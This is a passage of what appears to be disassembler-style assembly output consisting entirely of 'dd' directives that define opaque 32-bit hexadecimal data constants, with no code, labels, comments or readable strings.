		dd 338BDC69h, 0EC5082h,	0EF722149h, 0E3BAF976h,	1E373000h
		dd 0A15D70B9h, 4E7BFEh,	5F48A202h, 0F47C6B5Bh, 29D11800h
		dd 4746A09h, 1B7A0319h,	2F6F99Ah, 0F77DADD0h, 451F4000h
		dd 487BBA55h, 949100F5h, 893BB2Ah, 0A75CA473h, 0BCB3CD5h
		dd 406E8944h, 90BFECh, 4F858DD0h, 0C611AAD3h, 4868CB00h
		dd 6FB49FB1h, 4088BEE6h, 0DB7ED347h, 6012DD09h,	0C6E4A00Ch
		dd 3CD85585h, 0FB029BBBh, 825FB73Dh, 450B4C58h,	0C44632h
		dd 637C5E29h, 0C54100E0h, 866412A4h, 4E00E661h,	921BB3ACh
		dd 0DF9F90h, 0B15AD74Fh, 84A07E98h, 0C0AE4926h,	0D8504780h
		dd 39099693h, 2B4B430h,	0B8B30F18h, 1115FC06h, 9E003978h
		dd 0BEE8A91Ch, 0C37DBC0h, 0D85145A6h, 8FFA8DB9h, 3EA3Ah
		dd 9548A7AFh, 3C8CDA01h, 7002D2Fh, 0D3F2799Fh, 0EC3E94E8h
		dd 1C94FA9Eh, 0BEEAC207h, 0B8E14370h, 802F60A0h, 85442D9Dh
		dd 45584D50h, 7103A430h, 8E1083h, 9A34ACA1h, 0F5CC9B43h
		dd 11009CF0h, 1B65B65Eh, 0EC7851Ah, 0C2BDE71Ch,	0FF6F35A0h
		dd 7390DB49h, 6EB7D00h,	302CF328h, 295513BBh, 0BF1D12A3h
		dd 4B542800h, 400FC0h, 3B62E691h, 3D39D1B4h, 690B9512h
		dd 466DC700h, 0E2DCF3FEh, 0A71B0032h, 0DECE71A9h, 3000EC72h
		dd 2D5031A0h, 303AC418h, 0F060CF3h, 10037A3Ch, 63C7E688h
		dd 0EB76818Dh, 13146620h, 0F56D43h, 8B3AC11Eh, 2E7038FFh
		dd 0A22D961Ch, 0E62BC540h, 16FA4B3h, 0E9FCEDCCh, 405A8925h
		dd 711D0DD1h, 0EAC1413h, 27153080h, 3F20B81h, 8680C594h
		dd 0DCAC28A6h, 5C008896h, 8CF88413h, 0CFEB01C2h, 0DE303C6Ah
		dd 0A27AF42Ch, 86ABBD00h, 0F27BA5C9h, 38C3EB5h,	1C42428h
		dd 8F255376h, 9708AC7Fh, 9C00E671h, 4B450F0Eh, 6C9813A1h
		dd 0AE3700DAh, 91C95D3Eh, 8DF3E500h, 0FA7CF102h, 85763D73h
		dd 0B5349164h, 11CFE890h, 0DEC4D00Fh, 0C035CE8Bh, 0ECAF0D2Eh
		dd 0D97E00E7h, 45A49057h, 0C503F875h, 0AA1FC69Ah, 12ACD12Fh
		dd 0CD729181h, 0CCDCE45Bh, 78C02505h, 4D78BD01h, 0DF0AEE76h
		dd 0D2CF0329h, 0D5B88C85h, 91C0DBACh, 0CEBDFA8Fh, 793800FDh
		dd 9B9D2DAAh, 4F0D630Ch, 0D85AA80Dh, 0DE6DFA41h, 7DAFBD0h
		dd 1D06ADEAh, 0BD6C112Dh, 80D7E137h, 0A0B5E51h,	1374C8h
		dd 7EB732B5h, 45711816h, 4F95560Fh, 8D15603Ch, 66405D8h
		dd 5976DB0Bh, 0E0C341E4h, 0F2AD5Ah, 52192C11h, 0ACDCE220h
		dd 7B303298h, 61F4E8A7h, 379D1C84h, 9F35814Ch, 0C40A9B46h
		dd 0F20095A9h, 0B6AC2F7Ch, 4C9947F3h, 0D107DB8Fh, 0A3F4079Fh
		dd 0DE81E58h, 800062A7h, 2457CCBDh, 4337CEh, 0C797EFB5h
		dd 0D9F3B329h, 3DBD6726h, 45C7DA1Fh, 20D0DC71h,	3C878BF1h
		dd 0D22463AFh, 78DD0351h, 97D0A793h, 0A000CCCh,	90C0F408h
		dd 5D54A6h, 7A7437FBh, 0E44C27D5h, 0BB39C9B0h, 49868036h
		dd 0C6FE0A5Dh, 0F38F002Bh, 0BF2930D0h, 8500D964h, 2F61E0A2h
		dd 1284431h, 0CB24453Fh, 948817F1h, 0AB048AD1h,	0CD57F4B9h
		dd 0E4519902h, 97045E50h, 0B3EDC134h, 5B1080F8h, 0E186D945h
		dd 0DD7A61h, 1FC8A4Dh, 0ED1DC9BBh, 0F68E0A18h, 89D8B128h
		dd 0F9610951h, 84FE2990h, 2548F5C6h, 24A74B42h,	0F7BA21E2h
		dd 87101912h, 8F689A3h,	8F784A4h, 0DAA544D7h, 8BF1F084h
		dd 0E625FE8Ah, 420E2808h, 7525F388h, 94CD1404h,	0F7473248h
		dd 3C2991B8h, 0B0110060h, 6BE06CC2h, 2AB70391h,	0E11451B1h
		dd 0DD5B94D0h, 7C162700h, 1E8C5F75h, 0CC190099h, 8964585Eh
		dd 2200981Dh, 609B5BCBh, 0DB87F5h, 8518F9F7h, 0D0202BF3h
		dd 505A0D00h, 0D2CE4E40h, 0BBFC073Bh, 50586084h, 0A303CF38h
		dd 8137E100h, 5FEA7BF9h, 6E9001BBh, 0B2B81A52h,	0BDEC4087h
		dd 0C21C5ED5h, 1F803BA5h, 3F374D53h, 8BEA174Ah,	246E01B0h
		dd 0F8A42A4Fh, 0A300EED8h, 801A416Ah, 0F0A1BF9h, 20C5E03Fh
		dd 2B306FC0h, 6E041C4Ah, 0A67B27F4h, 0D1CAE8C0h, 2C7A01DFh
		dd 28C5854Eh, 66D4E02Dh, 34FB48h, 605497C3h, 646768h, 4F91158Bh
		dd 2108D212h, 664B5930h, 0A170CFh, 68BEB58Eh, 5ECEEC28h
		dd 0A71805FEh, 701012B3h, 9C421CF5h, 2B77C0B6h,	6CF9A37Ch
		dd 74EEE807h, 0D1D00F08h, 0CB2C6Eh, 63BEB185h, 87A89373h
		dd 0F7489CA0h, 1F174D03h, 0C762B959h, 396EF2A6h, 9A1EC378h
		dd 0C020DD27h, 0D4183BE1h, 0AC00FCB1h, 1CDEAAF9h, 0E259C75Eh
		dd 0CFCA00D3h, 43A59B47h, 0A6E40E6Ch, 0BA48EC00h, 7C0A3EE7h
		dd 969E00CAh, 0F2291539h, 0DE0414C6h, 23FAE92h,	777FC080h
		dd 0E1C30086h, 35367903h, 5F4F1744h, 0C90120F8h, 6511B6DCh
		dd 763D2008h, 0ED478400h, 2DEEC880h, 2E87007Dh,	0EBC18BECh
		dd 0F53EC2A4h, 0DCE980E7h, 0C3BA395Ah, 9DEC009Bh, 0C6CBC711h
		dd 0A7F25E8Ch, 0B7E72607h, 9080CF0Eh, 6DA324h, 4C92C531h
		dd 785ADF2Eh, 0AEF8E1ECh, 8019153Ah, 5905B198h,	48FAA0D4h
		dd 0E40300E0h, 0DC3A0817h, 9451100h, 0F6B6D5E7h, 0F1D33A39h
		dd 0CAE8EF32h, 573A6846h, 540780E3h, 4FBAE55Ch,	331601FEh
		dd 0A051075h, 0F2A3C024h, 0A0347712h, 7C374600h, 7502B24Fh
		dd 0EB6E1C2Ch, 0E251C4F5h, 4064814Bh, 5DF9ECF3h, 0DA739801h
		dd 52460ED9h, 8960B880h, 4E6A25E6h, 0ACA62038h,	0F600EBDFh
		dd 0FCBF3B95h, 0ADAB006Dh, 9BCCB65Ch, 3C79B41Fh, 0DDB51507h
		dd 5D30F91Eh, 31105Bh, 0A1633BA0h, 0E6E7063Ah, 7197F600h
		dd 0ADC0DCBh, 253F0099h, 1C374715h, 0FB4C618Fh,	81E500B0h
		dd 0ADC83A5Fh, 917B0E18h, 0DAC19662h, 0DC024BACh, 0AB1C9065h
		dd 4F005D39h, 22BBC1B0h, 7D293F76h, 0BD695580h,	0B6121509h
		dd 866B7000h, 0A16E3292h, 975A00A7h, 0F4465B4Fh, 59E41B78h
		dd 869D9B00h, 4EF939AAh, 6AA12845h, 0CB100B4h, 414FA44h
		dd 0E8011083h, 5319FF27h, 0AB402E5Bh, 0E67297h,	1055A37Dh
		dd 0B2D4BADAh
		dd 80E55738h, 2FDC5641h, 0F8F444h, 0CC5B3D0Fh, 64BA9A7Bh
		dd 0FD8CBE00h, 78AB19BBh, 77C80FAFh, 7CC33036h,	52F84C9Ch
		dd 0CE00EDE0h, 0C7081B74h, 7A99C2FBh, 66680026h, 6FB314DEh
		dd 5B00E5CFh, 710D628Fh, 4E7EA5h, 1E6EA281h, 153FDCF1h
		dd 6C009C70h, 0F5235DA1h, 73FD28AEh, 0ED8000C8h, 716796C5h
		dd 0CD008B51h, 237D03B7h, 1890506h, 2C7887D5h, 346D95DFh
		dd 0B0EEAD4Ch, 5986C600h, 12612375h, 687B4881h,	0CC068E00h
		dd 0DAF589F8h, 9E5C6A00h, 6C9D662Ch, 0D8B304EAh, 805B9936h
		dd 64A98064h, 61FFD100h, 73972F76h, 14650727h, 60CA25E3h
		dd 0F65B6C6Eh, 0D1521312h, 49789002h, 589F0607h, 3E3C1C00h
		dd 0A77F9D14h, 6C97044Eh, 0C716B269h, 87BBC47Ch, 5607C03Bh
		dd 5B1CEB9Eh, 0F1472933h, 5D10D393h, 4C0F2AEAh,	0C0488ED4h
		dd 0F4088308h, 49AA9000h, 0C05AD0BEh, 0BB7DF1B0h, 0D260BC8Dh
		dd 0A1A0C220h, 0B1AC0F3Eh, 807CD84Dh, 0AA7724E3h, 0C600F464h
		dd 7B199F5Ch, 986FDF28h, 4E792Fh, 0E2F093E0h, 975E7379h
		dd 5AF0DBEAh, 33427200h, 0F845CDE5h, 0EE530334h, 31F9FE89h
		dd 0B4B7C400h, 0D0F30A37h, 0A3A90012h, 0F40349AFh, 5558467Eh
		dd 90A2002Eh, 0D917B2AEh, 935B005Eh, 8AA405Ch, 0E500359Ch
		dd 0DAFFC93Fh, 0E23B28F4h, 2F500D4h, 0E3B820AFh, 0CD0539E2h
		dd 0FA24479h, 2B486180h, 0C3A40082h, 0D80D1652h, 7A002484h
		dd 8A6D75E8h, 18173Fh, 31DC054Dh, 1996F550h, 6B88A0A3h
		dd 0DD00A452h, 0A77A0CB7h, 4CBB5393h, 6D09F4E2h, 0B00FEDA1h
		dd 7D9E5220h, 0F0915090h, 0E204898Eh, 0C044BC69h, 26732FC9h
		dd 0D4EF5Bh, 0BD71B5B6h, 0CCA059D4h, 0B00C19Eh,	6956C891h
		dd 0C9FC92h, 63456501h,	1C143BFAh, 15AC1000h, 67AB30F7h
		dd 0DE5C0040h, 0C74FE168h, 78032663h, 32E24601h, 9882E3B1h
		dd 73E415F4h, 0C37138A9h, 0D7F01201h, 0F0439179h, 0FE01FC5Ch
		dd 996E18A4h, 0C2F935EBh, 940ECCh, 90C34239h, 6DC4460Fh
		dd 0B4EC6B00h, 7441E496h, 6F2D01B3h, 0BF8F8DDFh, 0C160F8B1h
		dd 0BD193F02h, 40FA94A2h, 1EC570h, 6D6CB3E3h, 0A99F68D2h
		dd 6B861400h, 56472AF2h, 7480C0FEh, 0B6171EF6h,	57004FFCh
		dd 3E15445Fh, 0BD7BA7h,	0E8BA7DC2h, 787F6B3Bh, 7A5DC900h
		dd 0F571CA76h, 0C0980008h, 5BEECFE0h, 8E002628h, 0CA43D4D3h
		dd 0F6191604h, 0CE2700A5h, 2F63A607h, 292CE88Dh, 0D000DAE4h
		dd 0BC966CE9h, 7E1D1C42h, 1F0FD70Bh, 0AEC78B23h, 71590807h
		dd 48CFCB11h, 2E16F19Ch, 0FF0324D8h, 0F852C29Ch, 140EA173h
		dd 0B8B9D313h, 7BDA16h,	0CA8340ECh, 0FA090772h,	0D96787h
		dd 37EC68E8h, 16DECA5h,	0CFFDA4DBh, 0D4C3F22Dh,	8900E558h
		dd 15606E68h, 0D01764h,	0D12CEE2Bh, 81D6B1C6h, 3102700Fh
		dd 82B3A076h, 32EDAFh, 0CF8A8346h, 8525F98Dh, 0E8CD1103h
		dd 0E17CC958h, 0DCF8166Dh, 2AD5008Ch, 40680CBDh, 8D01E9F4h
		dd 7F2B13D1h, 0A5ECFA21h, 2E104C72h, 6B18DF00h,	0ADA6D64Fh
		dd 0FFF4D90Ah, 0D00EF84Ch, 22832088h, 0E1202E6h, 2B792C7Dh
		dd 7A6FE940h, 0D61ECF86h, 22803508h, 0A68D725Dh, 9AB20491h
		dd 80FFA501h, 5375F510h, 7EDCC301h, 44CF3A05h, 0A9BD8C7h
		dd 4990001Ah, 0E4FB2EC7h, 0C60E8EE0h, 1FAB769h,	0ED45338Fh
		dd 386D9030h, 3B84AA32h, 90CEBAEAh, 9AC66A10h, 7F301F1Ch
		dd 2700145Ch, 0C22D7204h, 5AF8F4h, 0FFFD236Bh, 20445C5Fh
		dd 0B6B5E30Bh, 306000D6h, 38A77166h, 6204CD37h,	0D01A9BEDh
		dd 64ABC8A8h, 412D3800h, 1FA7B823h, 0B4C20B53h,	3C0DD1B6h
		dd 58093028h, 59AF7D04h, 86C089CEh, 0B7A5BE4h, 0F3EBF1AEh
		dd 6D2F0C00h, 0B9F636EFh, 0F9F9013Bh, 60ED4200h, 3BA223F7h
		dd 0B2FD0098h, 0B38386F2h, 0C09882B5h, 2E00BF74h, 0F84C7EF5h
		dd 17AB105h, 809276A1h,	0CFE5D4C8h, 27A345B0h, 3FF42E07h
		dd 2C40EAFDh, 472181h, 1D40C6E6h, 0D3A531FEh, 0E00C803Bh
		dd 6B0BBBB8h, 7706008Ch, 186FC5A4h, 0AB048364h,	0E8B48159h
		dd 0D4633487h, 48B5F84Ah, 656326EBh, 0BE018074h, 7E2FB0B2h
		dd 0B6F8DF17h, 83EA4109h, 7F7D6E78h, 0EBB8C578h, 0B89C028Fh
		dd 6F60C302h, 0AF7C7633h, 8CCE009Fh, 39A10B6Ah,	96007C09h
		dd 1CC38FD9h, 62048D71h, 175E98FDh, 87937080h, 0E6598A7h
		dd 75C67CE3h, 83C85745h, 49C030FCh, 7A0E96EFh, 0E0D67F09h
		dd 395DC4EDh, 4A9C4Ah, 88BC3537h, 0AD4CFA42h, 5DCA0079h
		dd 2E1EFF45h, 0CEC930A2h, 0C2F2586Eh, 0D1429A13h, 82076B01h
		dd 0F070D91Ch, 2A62002Ch, 0F84ECE60h, 6BFA5FC4h, 0C900F47Eh
		dd 0A8C30410h, 9230BC1Fh, 0F361007Ch, 0F8A146BFh, 6A24A511h
		dd 94009E3Eh, 65837685h, 7F45033Ah, 524A21C1h, 341E4C90h
		dd 5E920B07h, 31244B51h, 0E0D998D2h, 9095390Ch,	0F55AEC7Ch
		dd 0B4A7FECh, 20B0B9ADh, 6FF3F580h, 0D4F10FFAh,	0E6059B7Ah
		dd 0E77D0BE3h, 29D0E087h, 6A8D67h, 0A6703D66h, 0F8FCFB26h
		dd 0DA07F7F0h, 12238ACCh, 247BBAD0h, 15A3001Fh,	9C8DEED8h
		dd 30EF5B52h, 70496F0Ah, 0E0F0024h, 4B322877h, 43C900A8h
		dd 0A76F4034h, 980EA575h, 0DD4226ECh, 0A9D97140h, 9D9754h
		dd 0DD535770h, 9C7E17ACh, 4CA87B58h, 0C650937h,	0EA2400E4h
		dd 98CDCBh, 301A6283h, 7EE07153h, 0F0412300h, 3EDD85AEh
		dd 0D26F1D1Ch, 0E28B01Fh, 78BA76F8h, 0F949073Dh, 21A89EE1h
		dd 40F950CEh, 0AB5830E4h, 0E73100D0h, 36BBB44Dh, 270F941Eh
		dd 0C0A8A956h, 0CFFC91BEh, 78E43ECBh, 0A4656700h, 3E488945h
		dd 90008CEEh, 18FB612Ch, 0E6CC77h, 0B6A7C2DCh, 1F22458Bh
		dd 92BCB4Ch, 804C7AB5h,	0B251B116h, 0BAE858E9h,	0F678B00h
		dd 5929C362h, 50C75F01h, 0A32E990Bh, 0D466F4h, 0F8A61248h
		dd 1CEF2979h, 27FB3Ch, 0D19E5A39h, 68838E89h, 180D835h
		dd 74A2C262h, 4AFFD079h, 318538h, 0D3148D9Bh, 0EDE0CBh
		dd 69A842F0h, 4DC99F77h, 0EEF27AB0h, 0E279C32Eh, 40C69B0Fh
		dd 0D60CF91Eh, 0D1FA28DAh, 3E700A4h, 0C08E7ABAh, 6800714Fh
		dd 2CAC5733h, 3DE684F7h, 9A00DFC3h, 0B90897BDh,	2400EB3Bh
		dd 9C01902Fh, 70F9A840h, 38EF000Fh, 0A27CBC67h,	0E4F6F718h
		dd 2A0DF013h, 1DD84CCh,	4C2EEDB2h, 0F10FA3FFh, 6EC5192h
		dd 0DD5910D3h, 43044425h, 0E62340C3h, 5608C8ECh, 81F72A09h
		dd 9E3F00FCh, 0DB2C03C6h, 0F505F639h, 0D69F5784h, 9D8980C0h
		dd 0A55300E9h, 39EA0E47h, 2E27EFC6h, 3CBC00C1h,	2DEEC9h
		dd 6B4380C0h, 0C61FB683h, 1A105090h, 610F7DFAh,	3E812375h
		dd 0C429C14Eh, 111EF15Eh, 0F0C10794h, 6D643DA8h, 71F9AC8Bh
		dd 45448780h, 0EB0B2714h, 3BCF0Fh, 0F811B9A7h, 0B08400A1h
		dd 7CFA81CCh, 0EDE03DB3h, 35F4F8C1h, 6C2CBF68h,	28993C0Bh
		dd 0CE9030C0h, 275F5E00h, 0FFCB3DD3h, 4DC41265h, 0D16401BFh
		dd 0D0CFCC09h, 0F200F726h, 883BEF71h, 0EBB494h,	913DF66Ah
		dd 9A6E4F4Bh, 0DF291500h, 0E7B057B9h, 812400EEh, 666DD117h
		dd 360021ADh, 8E338A6Bh, 26736AABh, 10C2601h, 0BD2E1277h
		dd 3B0B0003h, 0D61C001Bh, 4052544Fh, 13021408h,	0C4B1567Bh
		dd 98070B8h, 0A5F55DA4h, 94549CC0h, 0B0D8AF11h,	0AC8D6403h
		dd 30F2A74Fh, 0CD7EBCA0h, 5E00D579h, 9E0CD7D8h,	7E1186Ch
		dd 942ADE54h, 0CDEB90A0h, 0FB04EAE5h, 3D351FDCh, 86069C91h
		dd 508BE8D4h, 0F134ED39h
		dd 0C99A042h, 73001151h, 333E1DAh, 24E813h, 325FCA50h
		dd 0FB49556Eh, 0A8EFDB00h, 6A67B959h, 4DA64CAAh, 0CC8726h
		dd 0C1B282A1h, 81006BC4h, 2E04D915h, 3CB1C8E8h,	4EBCC36Eh
		dd 788567FDh, 56AF9051h, 34FE8911h, 0D8025B7Fh,	9B96844Ah
		dd 0F209C013h, 92710048h, 0C1FA433Fh, 3A58AB4Eh, 0FB4200F0h
		dd 298661C2h, 7D2C06F8h, 887E44D7h, 16AD3E09h, 109C486Eh
		dd 0D66382FDh, 0EB0423A8h, 46D5341Eh, 45C7AA00h, 5F4030h
		dd 44678129h, 0EA92EF6Ah, 64BE0800h, 5913E614h,	0F4900C7h
		dd 3189030Ah, 2F03DABCh, 808E7F28h, 7E4BC069h, 0C1FD0BB4h
		dd 34204873h, 0F9A2FA75h, 786C58h, 0DE2A36C6h, 1A5BD56h
		dd 0D590DD4Ah, 0C405B3D2h, 0DF0FB851h, 0A0BC8D96h, 683F9F23h
		dd 31130998h, 0A4808999h, 2B15FB81h, 0D800287Dh, 547C6B4Fh
		dd 5771C3h, 0D93B8BFh, 0FCBB6C5Ch, 9AB69700h, 0E96D69D7h
		dd 0B7B4078Dh, 126AEEA9h, 60DDA1ECh, 0BE3969h, 0E2A4AED9h
		dd 0CC67E41Fh, 0A7002277h, 60E364E1h, 25702463h, 6050ACFDh
		dd 0B875CE05h, 64C239FAh, 461BC08Ah, 1AA40008h,	8CF01757h
		dd 0BC00C51Fh, 0C76D0521h, 310176h, 773D49C4h, 9BA3FD5h
		dd 0B690C600h, 0A29ECC5Eh, 99481CF7h, 8CC07021h, 0CE0E8B58h
		dd 40D882C3h, 5BD7FA37h, 7848CF35h, 578FE080h, 0CA00EBE5h
		dd 48FCAE7Bh, 16C1CCh, 47113A59h, 520EB3E7h, 0D1C7A000h
		dd 18F75A72h, 302E048h,	6303B6E3h, 70006076h, 0D68D8B7Fh
		dd 0FE7DA5F7h, 8EB00064h, 78A0FED3h, 0CB0CF899h, 0D806043Ch
		dd 7ED0004Bh, 9A94892Eh, 5A00AD51h, 0B268E19Fh,	1D07AC7Fh
		dd 1729CB6h, 0F594CC42h, 961270DEh, 65003B98h, 451BD814h
		dd 0AB25CBh, 0FD359154h, 68731CE2h, 0E3DF2700h,	7B3FD65Ch
		dd 44A700E9h, 0B07E4013h, 8F3DD108h, 6AB10177h,	0E7142452h
		dd 0D61EE0h, 8A6DB3BCh,	9D8C7F5Eh, 0B4D44F0Fh, 53E0180Ch
		dd 0BEBD0ED6h, 0F720FA2Eh, 0B174B76Fh, 0F9E10D00h, 0BAA16EFEh
		dd 1AF428CFh, 897658ABh, 0F6B09600h, 1D5BD6E7h,	0A3AD0E0Eh
		dd 0B5D4A09Fh, 0AA72CBh, 0FE5E6B4h, 53BA4070h, 0FA12F400h
		dd 0AB73BBC5h, 98E4005Bh, 4BEF0A8Bh, 8D004D31h,	0C5077877h
		dd 41C617h, 0D629B687h,	10EA4002h, 0AA06A50h, 24637339h
		dd 4C001431h, 0A687FC24h, 10AD00E2h, 8601608Ah,	0E9097166h
		dd 0D94E1Bh, 1A92FD5Ah,	7F6F00AFh, 6ACB572Eh, 6D766C34h
		dd 5F077300h, 0B9782374h, 0BD4A0EA8h, 0CD60E086h, 0AF708D6Dh
		dd 804B5D00h, 0A65603C5h, 0DC3C1B23h, 0D2D8108Fh, 0CE00BC6Ch
		dd 0AF059794h, 71163742h, 0BEEF0076h, 36B7AB74h, 0F13090E3h
		dd 0CE08E8F3h, 1D5D0FE1h, 0FD001A63h, 40833F28h, 815B0203h
		dd 9853B0A0h, 0D676EAh,	393860AFh, 5E80CB1h, 0F308700h
		dd 0A24BE764h, 803200BDh, 56C5E537h, 5200C33Ch,	0EEAFAD5Fh
		dd 54BEA5h, 7C3FEC12h, 0D26B243h, 0F580ED12h, 1CBD0400h
		dd 805C2336h, 0B1008257h, 0B60E0ACAh, 0E3430Bh,	0D783D6Bh
		dd 0E6F39225h, 4BA66100h, 0D3B70EEDh, 654200CFh, 22021A95h
		dd 430CDAD7h, 38239608h, 70C724F9h, 0F6F20004h,	6B84A7Ah
		dd 7EEE4B0Fh, 227DC06Bh, 0C06F3Eh, 0AD6A4C9Ch, 6E68C83h
		dd 69BC9200h, 0BB2EAFCAh, 2EE5FC28h, 59D7E0h, 5AE38E11h
		dd 2407DA5Ch, 0DFD04029h, 5D08A740h, 4DF829BCh,	76CE07E0h
		dd 0E75AD723h, 30310712h, 395E450Dh, 96A93400h,	0C43567E7h
		dd 0CBD6006Dh, 2EB92CAFh, 6326B21Ch, 0C1000627h, 3291CCDBh
		dd 0E4C60013h, 8519A46Ch, 0FDB849A5h, 10CEDA00h, 8AE651CFh
		dd 9ED400B8h, 7215AA3Bh, 4400D626h, 0C2469A16h,	5EBD78h
		dd 2E5FE889h, 0FBE03A05h, 0D1574000h, 0AF84EAB3h, 856C0026h
		dd 44327589h, 5301030Fh, 0D2D31059h, 27DCB9E4h,	0EF610024h
		dd 87327EABh, 157D685Bh, 0BB448200h, 8F470F40h,	0C4EF0983h
		dd 78001F43h, 8A4ACE5Ch, 6F0E6100h, 460A91E9h, 82A6004Fh
		dd 207352EBh, 0BE001B16h, 2E2B0E14h, 5C1C2A87h,	30001E27h
		dd 23E61233h, 2863DCC6h, 0E819FC11h, 391D2C25h,	1F526BCh
		dd 97567F17h, 65A49251h, 0D82FE538h, 294CE60Ah,	0EA7B00E4h
		dd 4E1495C5h, 632530F1h, 36FC6CA0h, 30486Fh, 0C29B1AC7h
		dd 3808CEDAh, 4BF98082h, 0B8DB1080h, 5D078978h,	759743C0h
		dd 9F386F40h, 4B10007h,	18DA7636h, 0FC1E517Ah, 398FB61Bh
		dd 5ABE40F5h, 0C9A067h,	21FAC391h, 0FDE43A4Fh, 808D9B38h
		dd 4DAF6C63h, 33818C0h,	0CA2AAED0h, 6AA89559h, 3F009EF7h
		dd 4E66C6F6h, 60C05821h, 151E3940h, 6CAC5F68h, 0F86EE632h
		dd 85BD0093h, 3D98B633h, 80DF5400h, 0FEF46EB0h,	4A5C0042h
		dd 3C20B865h, 0EB90932Ch, 1DF096A0h, 0E3631E00h, 2523A4D2h
		dd 0B5E41D01h, 58EB406Fh, 310C0DDDh, 9A6C3A00h,	7D1540CDh
		dd 0F8BB0721h, 60103E53h, 19DA9036h, 1F0FF701h,	42C4B149h
		dd 0F5ACD0h, 0A1A54C62h, 18EE0378h, 2B176000h, 45D28192h
		dd 2F5E00A8h, 3074891Bh, 0A3002AFDh, 8764DD6Ah,	3E12C6Ch
		dd 0B79434C4h, 0E5C80DC9h, 0FC00FE9Ch, 7F42F330h, 3D8A1Bh
		dd 1C1FCF4Bh, 31DCCBD8h, 0F57C3C00h, 0CAA43B74h, 81EA0225h
		dd 9084684Ah, 0B99A9CA0h, 0FF0083F7h, 92ECA346h, 749E0Eh
		dd 6E4B3EF9h, 0E41406DDh, 0DBBFC400h, 0B1AF87A6h, 405B6065h
		dd 60DC0133h, 0BB1E391Dh, 1192B301h, 88251AE3h,	920AFFD8h
		dd 0D3650350h, 0C201C3B9h, 0D992A481h, 0D79FECE5h, 0AE539500h
		dd 4BFCD544h, 77C031Ch,	0C42950F5h, 9B8D97E0h, 9D69A000h
		dd 62D03BDAh, 0F2AB0027h, 0D1D3D4BDh, 1A14FC6Ah, 68905B7h
		dd 0E4253781h, 0AED70040h, 0DBA4BE88h, 1E010674h, 0D46FF153h
		dd 43206085h, 7869498Bh, 84984F0Ah, 7DF48C8Ch, 8D00EDB9h
		dd 0BBC163E0h, 0E960E4h, 0E33F52C0h, 0A4A5974Bh, 0A336EC1Ch
		dd 0DD496898h, 5DAA0031h, 35CD49D0h, 0FF003787h, 3AD99A4Ah
		dd 1CFBF4D8h, 402A1452h, 0C391845h, 5F002E7Ah, 83C81EB7h
		dd 0EAC7EBA8h, 99350033h, 0D03014E9h, 4B00D863h, 36A48602h
		dd 1E7F66F0h, 0C0B776FDh, 655F42Ch, 0C2A178CAh,	1347E893h
		dd 0DEC07401h, 5CC9B2E1h, 0C0C814C8h, 432BC248h, 0FD7259C7h
		dd 46DACF00h, 0DB6469AEh, 0B69A00B9h, 2A5C3DC3h, 4BF4448Ch
		dd 80C72C98h, 0C410CEC8h, 1A9BCFh, 82D3D155h, 625630C9h
		dd 0F514B954h, 0AE4CEF00h, 0DD921E0Fh, 0A8490094h, 0C273F754h
		dd 4F36D083h, 731B82Fh,	0E1325163h, 0BB41EEBCh,	85FF3CA0h
		dd 13485620h, 284C9EC7h, 0AFC200B8h, 6C2F347Eh,	0C665152h
		dd 21C608h, 18AFDD1Bh, 604A222h, 8B0730C0h, 717E24h, 0FFCC8C46h
		dd 0C92A5EFCh, 32EBD818h, 0E6A5F168h, 77D9002Bh, 515CB5C0h
		dd 5007E781h, 1B80BB48h, 0A728ECh, 24E23588h, 1625D8Ch
		dd 7D56C100h, 0F29CFA45h, 64261E6Dh, 66000AFh, 73CFEDBEh
		dd 0F700EEEAh, 0C56755D7h, 1F633F4Bh, 801C4AB7h, 0EE842D10h
		dd 0F70EE8DBh, 0E00C7AAAh, 5CA1B0ACh, 480FE038h, 0B879DCE4h
		dd 0CB6930A0h, 9CFB7D28h, 0E0838100h, 9AE3BFE6h, 108F6048h
		dd 0EB2CF2FAh, 0B7B23A00h, 0D2094F6h, 270C0014h, 821E3376h
		dd 3A009C10h, 6D554E28h, 3D66ECFh, 0ED47D777h, 3107408Ch
		dd 0BDCFDC7h, 97E3B60h,	774705B1h, 80E88426h, 0A0AB4AB9h
		dd 9379CF1Dh, 0DB9E0840h, 249D2081h, 3D739477h,	19335398h
		dd 7440AC38h
		dd 373117Fh, 0E070032Eh, 0B1FAD9AFh, 80D20646h,	72027684h
		dd 8C8A5541h, 5C1CD0h, 0D9351EBAh, 0B38BBB2Bh, 0AFEBAE00h
		dd 8C979D57h, 0B8FB6974h, 0FADB2E00h, 880078F1h, 0F6950F11h
		dd 8D8471h, 73013023h, 0ABB8CF24h, 0A28EAF00h, 1B0FDA62h
		dd 0F9D4029Fh, 0CA63C42h, 17431240h, 0BAF88403h, 18D3AC15h
		dd 203DDD08h, 413F7D6Ah, 91BD07E9h, 8B3062D1h, 64EB458Eh
		dd 60D751A2h, 23344165h, 0A808D084h, 0A69033Ah,	0E1E05C43h
		dd 0D21303BEh, 0C0BA3CB4h, 0C47E269Eh, 0AA50E200h, 28A85E90h
		dd 0EE072E1h, 0E6A61329h, 0DDC069FBh, 17FE4B04h, 2D35CA03h
		dd 0A1305A06h, 2080A783h, 454B7CBBh, 0CE009B55h, 0EFD6F0DEh
		dd 89AFBAh, 1513F7B3h, 0A491652Fh, 0F43D30C0h, 317EF3E1h
		dd 46100B01h, 62C03E36h, 1D904DE5h, 1841D583h, 0DBCC2108h
		dd 0BF0D0202h, 80ECC546h, 85F19588h, 91510111h,	9201A69Dh
		dd 2D84F0A0h, 70CEE174h, 5916B9EAh, 891000FFh, 0D89A9821h
		dd 2301115Bh, 0E90F477Bh, 2D60DEF2h, 0C9674CFFh, 0D43D027Ah
		dd 41698740h, 505CE2E0h, 0C7F2A300h, 0D945172Bh, 91A1004Fh
		dd 90EE65D5h, 54002649h, 0D73B8910h, 77BEC2h, 207D7945h
		dd 1EF5A3DCh, 2E12C100h, 0C23D5E0Eh, 778F003Ah,	0C67CC0C8h
		dd 39003B44h, 5F9B7FAEh, 3E892AE0h, 8080D0FBh, 0BF9C0B68h
		dd 230191BBh, 763C7D5Bh, 4EF43256h, 6537EE51h, 2A361070h
		dd 0E300AB04h, 0DE53B4B0h, 17004DA4h, 89FF8E90h, 749D4CD4h
		dd 766300EEh, 0B462B082h, 597896E2h, 5A1CE474h,	0B19F53A1h
		dd 55B05100h, 0B83B5F4Ah, 1FC4F09Dh, 0C050B5A5h, 3C3A4D96h
		dd 667449A3h, 87FFB217h, 50B44400h, 1E2775DEh, 8FC68Eh
		dd 2D9FB37Bh, 43143BE5h, 0E05C34D8h, 0C0024CBDh, 8E6A8810h
